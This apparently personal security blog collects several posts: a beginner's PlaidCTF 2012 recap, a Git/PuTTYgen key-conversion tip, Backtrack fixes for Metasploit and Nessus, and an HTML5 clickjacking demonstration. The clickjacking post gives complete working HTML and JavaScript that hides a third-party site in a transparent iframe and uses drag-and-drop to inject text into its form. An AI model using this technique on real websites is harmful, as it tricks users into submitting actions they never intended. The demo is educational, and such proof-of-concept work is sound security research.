My first CTF – PlaidCTF 2012

So it was the same as any other usual Friday, 10pm I’m shattered after a particularly taxing week at work so laying in bed reading a book (the rock and roll lifestyle of a social pariah) when I get a text from a colleague

Dude, what are you doing this weekend? I’m just about to take part in a CTF, get online #corelan on freenode

A CTF? To those who don’t possess the knowledge of the internet, a CTF is a “capture the flag” competition. In the world of computer security it means a race against other teams to break a number of challenges for points and what do points mean?…. prizes!

1st, 2nd and 3rd placing teams would get some nice money. I’ll end the anticipation and say that our team (corelan from http://www.corelan.be) came somewhere around 140th place out of about 800 teams.

Me and a colleague got involved from Friday night, straight away i’m in over my head. Wait what’s this? an RPG?? wtf? How do I see the? We’re using what to track progress? Who is doing what? How? Eh? Help!!?

About 3 hours later when I realise how I access challenges and give up trying to fix the constant 404 errors on the python client that pCTF had provided for access I finally try getting my teeth into something.

Right, where to start. I select a challenge and instantly realise it’s a binary exploitation task. I’ve only just started reading about the joyous things such as ollydbg and ida pro so I’ve no idea what i’m doing or looking for I quickly move onto something else.

I try out the addition is hard challenge and decide that the clue PHP? in the second argument must mean that it’s something PHP does that’s wrong.

I start googling for PHP Hex and looking through the php.net manual for functions that deal with hexadecimal numbers and find hex2dec as a function… wrong key. I give up after trying a few more things and getting nowhere but i’m adamant that it’s something to do with the way that PHP does hex based stuff surely?

I move onto… Editors

Decipher a keylogger script output and determine:

  1. How many shells were spawned
  2. How many edits were made to the /etc/sudoers file
  3. What the final state of the /etc/sudoers file is
  4. What the final state of the computer is

So I grab the text file and instantly realise that i’m missing something, viewing it in notepad all of the control chars are either weird characters or completely ignored so back into ViM it goes.

Ahh more like it.. now I can see all the ctrlA and CtrlB’s made for control of screen and tmux, gets me closer to understanding just how many shells are opened 🙂

I spend the next few hours deciphering the script and break it down into steps.

Just by following the script through in my head and using a piece of A4 paper I draw out what happens and come out with an answer. I give it a go – Nope wrong key.

… this continues for many hours, only now I’m having less confidence in my paper based decode I decide to load up a fresh VM (a nice fresh install of debian) and install the necessary editors (again fresh installs so no custom .rc files screwing up things) and walk through the script.

1st Error: ksu -l is not a valid command without some numbers after it. It just doesn’t work, it bombs out and errors.

I’m on IRC so I fire off a question to the creator FrozenCemetary and ask if that’s intentional or just a typo? I get the response that “not all KSU implementations are the same” and assuming that’s a clue to say that his didn’t fail in that manner. I continue with it, assuming it works.

Try the key – No dice.

Okay so carrying on. There is a section involving teco (an obscure ancient editor that emacs was based on) and I am encountering errors trying to run one line of the code, but wikipedia says it’s an output only line anyway, not a write line so i’m not that concerned. Still I double check and realise I’m typing o instead of 0 *facepalm* I correct the problem and the code runs without error. It’s only a read command, no changes.

there’s a section that starts up VIM using visudo and edits the line with a “/usr/bin/vim ,” yeah, including the space and a comma. It’s an invalid line, visudo correctly barfs out but the next key press kills the shell that visudo is in so the write never gets corrected and never gets written. I double check if any editors should be barfing out when writing and frozen comes out with the surprising answer of “None of the editors should barf when saving changes”.

This means I’ve been assuming VIM fails to update the editors line in /etc/sudoers when in fact Frozen has just said it’s a typo and is meant to succeed. I change my answer and try the key.

No good.

Onto the next bit, we’ve got some crazy emacs char moving nonsense involving 46 control characters. It works a bit odd and I end up deleting characters from the line below the editors line, not the editors line. Confused I contact frozen again. “I’m trying this and I think the control characters are moving the cursor too far, when you drew up the challenge, were your arguments seperated with spaces or tabs?”

Frozen: “It should be pretty obvious what’s intended, its a vanilla debian sudoers file and i’m pretty sure it was spaces not tabs”

Ah, so that explains a lot I grab another vanilla debian image, build a VM and have another go… nope definitely tabs once again, but lets just entertain Frozen’s suggestion and convert it to spaces.

Right so typically 4 tabs to a space, lets go with that.

Try it again and now it sort of works except it deletes the 2nd / when I run it.

I try the key once more, nope it fails I try again manually re-adding in the /

Again no dice.

Confused by this now and not having anything else confusing left to look at I download centos 6, centos 5, debian, ubuntu server, backtrack 5r1 and kick off VM’s of all of them, run through it and the same result every time.

A fresh install of emacs treats tabs as tabs, not spaces and all of them end with the same outcome.

Try the key again (maybe I have the input wrong), nope no go.

It’s 5am now so I call it quits on the saturday morning and get some kip.

Saturday noon I’m back up and at it again. Meatballs (my colleague) is online too and looking back at the addition is hard challenge. He gets lucky with a google search “php hex addition” and finds the bugged hex addition function within a particular version of php, does the addition and pow! gets the key.

Meanwhile I get back onto the editors problem and try a few more things and get nowhere. So now I start looking at the stuff I was sure about.

/sbin/poweroff, if you run it in run level 6 without any arguments it’ll reboot the machine, meaning the final state of it will be “on”. However in run level 3 without any arguments it will shutdown the machine, meaning the final state will be off.

Assuming that it could be either may be throwing me off so I refresh the installs of all the above, fire up a bash process watcher (watch ‘ps -ef | grep bash | grep -v grep | wc -l’) in each of them, and try the script in all.

I come out with 2 answers, 1 with the state on and 1 with the state off. I submit both types of keys – no good.

Frustrated and annoyed at the challenge I give up and move onto a web based challenge that involves a homemade pastebin type app.

At this time I’m chatting in the corelan channel we’re using for the CTF and Chad2k comes online, he appears to be a guru on the web app side, discovers the admin cookie and realises that there is some remote file inclusion up for grabs so starts trying to get simple php echo scripts to work but stalls a bit. In the meantime holding onto his coattails I get my php script doing an ls and print_r works and causes some output.

Doesn’t matter though because by this time Chad is performing SQL injection and extracts all the pastes… at this time we could very well have gotten owned ourselves as it was obvious everyone else had put stuff in the database before us, meaning we were bombarded with XSS everywhere (thank god I was doing this in a VM).

Theres nothing interesting in the pastes in the DB despite the clue suggesting it so the next stage is to get a shell working on the site. Chad once again gets it up and running, an ls of the directory reveals a key.html and inside of it (contained within HTML comments) is the key we need to score.

Blam Corelan reaches 140 points. Only a few hours to go and I decide to have a look at an “easy” binary challenge called “Format”.

I whack it into ida pro and find a password stored in plaintext in .rodata and that gets me past stage one, however the rest just falls on it’s arse, I try stepping around some comparisons to get it past the stage im stuck on but again get nowhere.

With 20 minutes to go I’ve given up really and just start looking through the challenges to see if there is anything I could have a go at and have a chance of doing it. I find 3D, which appears to be a 3D image containing a key that is masked by an object.

Knowing that 3D images are generated normally by a left and right image, I’m guessing that there must be one image that has a clear shot of the obscured key.

Only problem is I don’t know how to see it, so I fire it up in HxD to see the code, maybe it’ll give me a clue.

I see lots of repeated EXIF header declarations and come to the conclusion it’s not just 2 JPG images but a whole stack of images. Again I’ve no idea what the end of a JPG looks like in byte form so I couldn’t use HxD to split out the images.

I vaguely remember seeing Int0x80 demonstrating something called ‘scalpel’ on Hak5 for recovering data from hard drives and I was wondering if I could use it to extract the JPGs for me (a sort of dumb and blind “find me images duh”).

I give it a try but without being sure it was just JPGs I enable all the images stuff within the .cfg.

It finds 15 jpgs and 7 Tiff files. All corrupt, none of the images load.

I try again with just the jpg filter and it finds 15 jpgs, again all corrupt.

Thinking maybe its a common 3D image format I start downloading medical image viewers that are designed to view slices of 3D MRI’s and Xrays.

No good, they all bomb out. I’ve not got any time left and the CTF ends without me contributing in a points manner to the team 🙁

I’m gutted but have learned a hell of a lot over the weekend. Exhausted I call it quits for the night and head to get my beauty sleep.

Post Event

I learned that on the editors question, I was so close to the answer it was ridiculous. I failed not because I was doing something wrong, but because the challenge was insufficiently deterministic. It was incredibly difficult to predict the conditions in which the challenge was created and as such only 20 teams passed that particular challenge, I think i’m one person who tried the most on it as well (spent pretty much all my time on it including installing the various OSes).

The 3D image… again pure dumb unluckyness meant I chose the wrong tool for the job. I was going along the right lines it was indeed just nested JPG images. If I had used foremost -t jpg filename, it would have extracted 21 jpg’s and I’d have been able to view the key.

Alternatively just loading it up in a modern copy of VLC media player would let you view it too.

Still despite the close failures, I learned so much especially at the hands of the guys in the corelan team and it was incredibly enjoyable. Going to try and keep in contact with the #corelan folk and get involved next time there is one.

Fingers crossed I get to practice my binary exploitation before the next one. Defcon 20 prequals here we come 🙂

##################

Apologies for not including the code and screenshots I wanted to include in the above post. Just a case of writing this and not having access to them on this laptop, might get “a round tuit” at some point in the near future.

NFTF: Pushing tags to Git Repositories – Converting puttygen keys to openssh versions

I’m working on a side project that has me contributing to a GIT repository for source control.

Great! Only I haven’t got a freaking clue how to use it properly.

First in the list:

Pushing “Tags” up to the master repository

First thing to note is that tags are typically only noted on your local copy of the repository. They aren’t pushed up to the origin when you make a Git Push, unless you specify otherwise.

This is fine and dandy if you’re using the command line git client from the off. Me, I was using TortoiseGIT on windows, bypassing the whole setting up of GIT Bash and there isn’t a simple checkbox that I’ve found in TortoiseGIT that says “push tags” along with a Git Push. So I needed to set it up.

The command that you have to run is:

git push origin --tags

This will push any tags that you have associated with your code (TortoiseGIT can create them by just rightclicking your repository and select “add tag”) up to the origin on your master repository (in my case hosted on assembla).

However before you get to that step you’ll need to have set up your GIT Bash first, and in my case as assembla uses PKI for authentication I would need to either:

a. Create a new key for the same computer, just for the GIT bash instance and add it (what i’ve typically done in the past, but loathed because it’s just duplication of effort)

b. Figure out why “export OpenSSH version” of my keys from puttygen has never actually just worked for me.

This time around I opted for b.

Converting PPK to id_rsa

I found this answer courtesy of stackoverflow and a user called Kaleb Pederson it is as follows:

  1. Open PuttyGen
  2. Click Load
  3. Load your private key
  4. Go to Conversions->Export OpenSSH and export your private key
  5. Copy your private key to ~/.ssh/id_rsa (or id_dsa).
  6. Create the RFC 4716 version of the public key using ssh-keygen
  7. ssh-keygen -e -f ~/.ssh/id_rsa > ~/.ssh/id_rsa_com.pub
  8. Convert the RFC 4716 version of the public key to the OpenSSH format:
  9. ssh-keygen -i -f ~/.ssh/id_rsa_com.pub > ~/.ssh/id_rsa.pub

With that done, your GIT bash should now be able to authenticate correctly to your Git repository using the PPK you already use for TortoiseGIT.

Leveraging HTML5 in order to turbo-charge clickjacking

You have a website and you’ve proven it’s vulnerable to clickjacking, but what use is fooling a user into submitting a form unless you can specify some of the data that the user is submitting within those fields?

We’ve all played games online where you have to match up words to phrases or maybe things like the “impossible game” where you drag the words to the respective colours.

What about turning a harmless game such as the above into a form submission machine of awesome. Well now with HTML5 – you can!

It’s all thanks to the drag-and-drop method and in particular the ondragstart method.

draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'Rick Astley')"

use that on anything you want to make draggable – in my testing I opted for a simple <div> containing a string, and ask the players to drag and drop the string onto the correct corresponding sentence.

When they click the “answer” button, it submits the jacked site.

So.. users drag the word CSS across to Cascading Style Sheets – enters “Rick Astley” into the search field of videos.yahoo.com

then users click the “answer” button – submits the video search

Now ideally if google didn’t have x- headers set that forbid the use of google in an iframe I’d have gone and “i’m feeling lucky”d it but sadly no autoplaying rick astley for me.

Still the premise is proven.

Html5_clickjack_1Html5_clickjack_2Html5_clickjack_3

Edit:

Now with added code! and a demonstration video.

Video Here:

I’m no web developer and quickly ran out of patience when working on the positioning issues so feel free to take, improve and build on it. I was merely creating this just to play with some of the features of HTML5.

Enjoy!

<html>  <head>    <title>HTML Clickjacking demonstration - drag and WTF!?</title>    <style>      iframe{position: absolute; top:0px; left:0; filter: alpha(opacity=0); opacity:0;z-index:1}      button{position: absolute; top:40px; left: 805px; z-index:-1; width:107px; height:26px;}      .magicfield1{position: absolute; top:40px; left: 340px; z-index:-1; height: 26px; border: 1px solid orange}      .magicfield2{position: absolute; top:40px; left: 480px; z-index:-1; height: 26px; border: 1px solid orange}      .magicfield3{position: absolute; top:40px; left: 650px; z-index:-1; height: 26px; border: 1px solid orange}      .magictext{position: absolute; top:54%; left: 50%; z-index:-1; }      .showhider{position: absolute; top:90%; left: 1%}      .intro{position: absolute; top:50%; left:0}    </style>    <script type="text/javascript">      function mask(){        document.getElementById("iframe").style.opacity = ".1"; // for most browsers          document.getElementById("iframe").style.filter = "alpha(opacity=10)"; // for IE      }      function hide(){        document.getElementById("iframe").style.opacity = ".0"; // for most browsers          document.getElementById("iframe").style.filter = "alpha(opacity=0)"; // for IE      }      function show(){        document.getElementById("iframe").style.opacity = ".9"; // for most browsers;          document.getElementById("iframe").style.filter = "alpha(opacity=90)"; // for IE        }      function reveal(){        alert("Checking your answer...");        document.getElementById("iframe").style.opacity = ".9"; // for most browsers        document.getElementById("iframe").style.filter = "alpha(opacity=90)"; //for IE      }    </script>  </head>  <body>    <div class="intro">      <p>Hello and welcome to the match game</p>      <p>All you have to do is drag the following 3 letter acronym to the matching string ---> </p>      <p class="showhider">As you know it's a test - Show iframe - Hide iframe - Mask iframe </p>    </div>    <div class="magictext" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'Rick Astley')">      <H1 style="border: 1px dashed black">CSS</H1>    </div>        <span class=magicfield1>Cross Site Scripting</span><span class=magicfield2>Cuddly Slippery Snakes</span> <span class="magicfield3">Cascading Style Sheets</span>    <button>Answer</button>  </body></html>

Pastebin Link: http://pastebin.com/BeenqC19

msfupdate on Backtrack 5r2

Having annoying SVN issues trying to run msfupdate on your BT5R2 install?

Something along the lines of “no version information found”.

Try this:

cd /opt/metasploit/common/libmv libcrypto.so.0.9.8 libcrypto.so.0.9.8-bmv libssl.so.0.9.8 libssl.so.0.9.8-backupln -s /usr/lib/libcrypto.so.0.9.8ln -s /usr/lib/libssl.so.0.9.8

The above was obtained off of the backtrack forums but given the numbers of threads on that thing with similar topics, I’m guessing not a lot of people are seeing the actual solution.

As with everything I post, it worked for me but your mileage may vary.

Nessus 5.0 on Backtrack 5r2 Continued…

So you’ve followed the instructions in my previous post alright and gone to browse to http://localhost:8843, have already pre-empted the no-script nags by allowing all scripts from localhost (or whatever your paranoia level allows you to do) and still can’t get past that annoying “Nessus requires flash player 10.2 or later” message.

Don’t fear and don’t bother following any other horrible tutorial that involves shoving an old piece of flash software on your system. It’s time to go for the bleeding edge.

Within a terminal type:

wget http://fpdownload.macromedia.com/get/flashplayer/pdc/11.1.102.63/install_flash_player_11_linux.i386.tar.gztar xvzf install_flash_player_11_linux.i386.tar.gzmkdir ~/.mozilla/pluginsmv libflashplayer.so ~/.mozilla/plugins/

Then just delete everything else that got extracted.

Yes it’s the 32bit flash – but it works.

Yes I know, it’s not the 64bit flash… but it still works on the x64 install of BT5R2 and does the job for accessing nessus.

Now you can browse to http://localhost:8834, create your user, ignore the bit about “enter your feed” details if it comes up (close the browser and re-open it) and voila… nessus 5.0 on bt5r2.